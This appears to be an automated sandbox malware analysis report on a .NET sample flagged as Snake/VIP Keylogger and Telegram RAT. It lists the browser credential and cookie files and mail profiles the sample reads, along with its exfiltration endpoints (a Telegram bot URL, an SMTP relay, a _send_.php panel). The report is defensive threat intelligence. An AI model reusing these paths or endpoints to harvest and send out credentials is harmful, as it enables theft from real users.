Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000000.00000002.4035317693.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: Lpjrd6Wxad.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Lpjrd6Wxad.exe PID: 3648, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: Lpjrd6Wxad.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4035317693.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Lpjrd6Wxad.exe PID: 3648, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: Lpjrd6Wxad.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Lpjrd6Wxad.exe PID: 3648, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000000.00000002.4035317693.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: Lpjrd6Wxad.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Lpjrd6Wxad.exe PID: 3648, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: Lpjrd6Wxad.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4035317693.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Lpjrd6Wxad.exe PID: 3648, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Lpjrd6Wxad.exe	68%	ReversingLabs	ByteCode-MSIL.Spyware.Snakekeylogger
Lpjrd6Wxad.exe	100%	Avira	HEUR/AGEN.1307591
Lpjrd6Wxad.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
us2.smtp.mailhostbox.com	208.91.198.143	true	true	unknown
reallyfreegeoip.org	188.114.96.3	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/173.254.250.79	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20and%20Time:%2008/11/2024%20/%2006:12:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20210979%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002DB7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	Lpjrd6Wxad.exe	false	high
http://us2.smtp.mailhostbox.com	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002EBD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20a	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002DB7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002DB7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002E82000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	Lpjrd6Wxad.exe	false	high
http://aborters.duckdns.org:8081	Lpjrd6Wxad.exe	false	high
https://ac.ecosia.org/autocomplete?q=	Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/173.254.250.79$	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002D49000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002DB7000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002D8F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?L	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	Lpjrd6Wxad.exe	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	Lpjrd6Wxad.exe	false	high
https://chrome.google.com/webstore?hl=enlB	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002E8C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002DB7000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002D1F000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002D8F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	Lpjrd6Wxad.exe	false	high
https://reallyfreegeoip.org/xml/	Lpjrd6Wxad.exe	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.91.198.143	us2.smtp.mailhostbox.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1551190
Start date and time:	2024-11-07 15:18:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Lpjrd6Wxad.exe renamed because original name is a hash value
Original Sample Name:	51f52b4829b1930c3d4781e63ac08ccb74840c9b901b46b9f35274803e6d5571.exe
Detection:	MAL
Classification:	mal100.troj.spyw.winEXE@1/0@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 65 Number of non-executed functions: 42
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Lpjrd6Wxad.exe

Simulations

Behavior and APIs

Time	Type	Description
09:19:31	API Interceptor	9895537x Sleep call for process: Lpjrd6Wxad.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.91.198.143	Purchase_Order.exe	Get hash	malicious	AgentTesla	Browse
	Cotizaci#U00f3n P13000996 pdf.exe	Get hash	malicious	AgentTesla	Browse
	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	New Order PO#86637.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	z1newpo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	z68ORDER.scr.exe	Get hash	malicious	AgentTesla	Browse
	z17invoice.exe	Get hash	malicious	AgentTesla	Browse
	z47maaaaaaaaaaaaax.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
149.154.167.220	YqeOA9W4Z4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Nowe zam.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Ce3CNfP8N6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	KNARH81GDR5261301.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	SecuriteInfo.com.Win32.RATX-gen.3030.23832.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	FmmYUD4pt7.wsf	Get hash	malicious	Unknown	Browse
	05.11.241591883_UyeIsyeriCalismanKosullari.xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	x6BqJ693rc.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	doc20247622056002_pentamix.bat	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	5gz6ZZRQWh.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.96.3	ByuoedHi2e.exe	Get hash	malicious	FormBook	Browse	www.rihanaroly.sbs/othk/
	Aviso de pago.xla.xlsx	Get hash	malicious	HTMLPhisher	Browse	paste.ee/d/PAg0l
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/8shpYIj5/download
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/CXujY04Y/download
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/O2nyeCCn/download
	2rI5YEg7uo.exe	Get hash	malicious	FormBook	Browse	www.evoolixyppuk.shop/7gfa/?pP=OC/NqFuXSoQKcxJzIwbC8gc6YWk63HA88JkIsR5MBtbsuoT1qNc3mE+usci2f4e+0fIXV/Px1LgbGc4SbpFIftMOxDoszWQURSPAVqq521dqxxqHUw==&UJO=A6MH4FUp
	createdbestthingswithgoodnewswithgreatfriendship.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	paste.ee/d/PAg0l
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/O7tfWEfj/download
	NIlfETZ9aE.exe	Get hash	malicious	FormBook	Browse	www.timizoasisey.shop/agaq/
	https://www.imap.ne.jp/banner_click/add/20/1/?a&url=http://uniteseoul.com	Get hash	malicious	HTMLPhisher	Browse	uniteseoul.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
us2.smtp.mailhostbox.com	REnBTVfW8q.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.91.199.223
	ulf4JrCRk2.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.91.199.223
	Nt8BLNLKN7.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.91.199.223
	copto de pago.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.223
	Proforma Invoice_21-1541 And Packing List.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.223
	Tax Invoice 103505.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.224
	PO.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	Purchase_Order.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	Scanned.pdf.pif.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
reallyfreegeoip.org	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	z1NewPO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	8wNcTEYGQ4.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	0Pk2HlsnGS.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	BG115Q39cY.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	YqeOA9W4Z4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Nowe zam.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Ce3CNfP8N6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	KNARH81GDR5261301.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.RATX-gen.3030.23832.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
api.telegram.org	YqeOA9W4Z4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Nowe zam.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Ce3CNfP8N6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	KNARH81GDR5261301.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.RATX-gen.3030.23832.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FmmYUD4pt7.wsf	Get hash	malicious	Unknown	Browse	149.154.167.220
	05.11.241591883_UyeIsyeriCalismanKosullari.xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	x6BqJ693rc.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	doc20247622056002_pentamix.bat	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5gz6ZZRQWh.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	YqeOA9W4Z4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Nowe zam.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Ce3CNfP8N6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	KNARH81GDR5261301.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.RATX-gen.3030.23832.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://berg.bergssrom.mom/fer.to.php.html	Get hash	malicious	Unknown	Browse	149.154.170.96
	FmmYUD4pt7.wsf	Get hash	malicious	Unknown	Browse	149.154.167.220
	05.11.241591883_UyeIsyeriCalismanKosullari.xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	x6BqJ693rc.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	doc20247622056002_pentamix.bat	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
PUBLIC-DOMAIN-REGISTRYUS	w6dnPra4mx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.251.80.30
	05.11.241591883_UyeIsyeriCalismanKosullari.xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	x6BqJ693rc.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.21.58.10
	56ck70s0BI.exe	Get hash	malicious	FormBook	Browse	119.18.54.27
	REnBTVfW8q.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.91.199.223
	ulf4JrCRk2.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.91.199.223
	Nt8BLNLKN7.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.91.199.223
	p4rsJEIb7k.exe	Get hash	malicious	FormBook	Browse	119.18.54.27
	copto de pago.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	1364. 2024.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	z1NewPO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	8wNcTEYGQ4.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	0Pk2HlsnGS.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	BG115Q39cY.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	YqeOA9W4Z4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Nowe zam.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Ce3CNfP8N6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	KNARH81GDR5261301.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.RATX-gen.3030.23832.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	pagamento.UniCredit.Bank.pdf.exe	Get hash	malicious	Remcos	Browse	149.154.167.220
	cONc2eILoR.dll	Get hash	malicious	Unknown	Browse	149.154.167.220
	J7kSv1ojJD.dll	Get hash	malicious	Unknown	Browse	149.154.167.220
	cONc2eILoR.dll	Get hash	malicious	Unknown	Browse	149.154.167.220
	J7kSv1ojJD.dll	Get hash	malicious	Unknown	Browse	149.154.167.220
	XJxog05C41.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	XJxog05C41.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	YqeOA9W4Z4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.636909452144038
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	Lpjrd6Wxad.exe
File size:	274'432 bytes
MD5:	2ba023727b7a6399471d26a38f26695a
SHA1:	69d719ca185d62a737a2503a45b1b04cd097e190
SHA256:	51f52b4829b1930c3d4781e63ac08ccb74840c9b901b46b9f35274803e6d5571
SHA512:	8c503e6b5492b5a9f0f102bb30c34ba0c6d33af46d39edf7aa07429a07ae7720b0ec61a4fd1280d5ca4899e848cb436e1d3633b64f0c83a01e75e4be1f848ed9
SSDEEP:	3072:8icrbDkA33F1ykglgPXQdwflU4uSL12ZazfbIrTu5Yso2UY/Vg4imbbY:YudZaDbNRFb
TLSH:	2A4483193FD49810E2FF8577C2B69125C6BAB8A306158D2E17D1E81A3F3E944DE06F63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............P..............9... ...@....@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x44392e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x669085D9 [Fri Jul 12 01:24:41 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
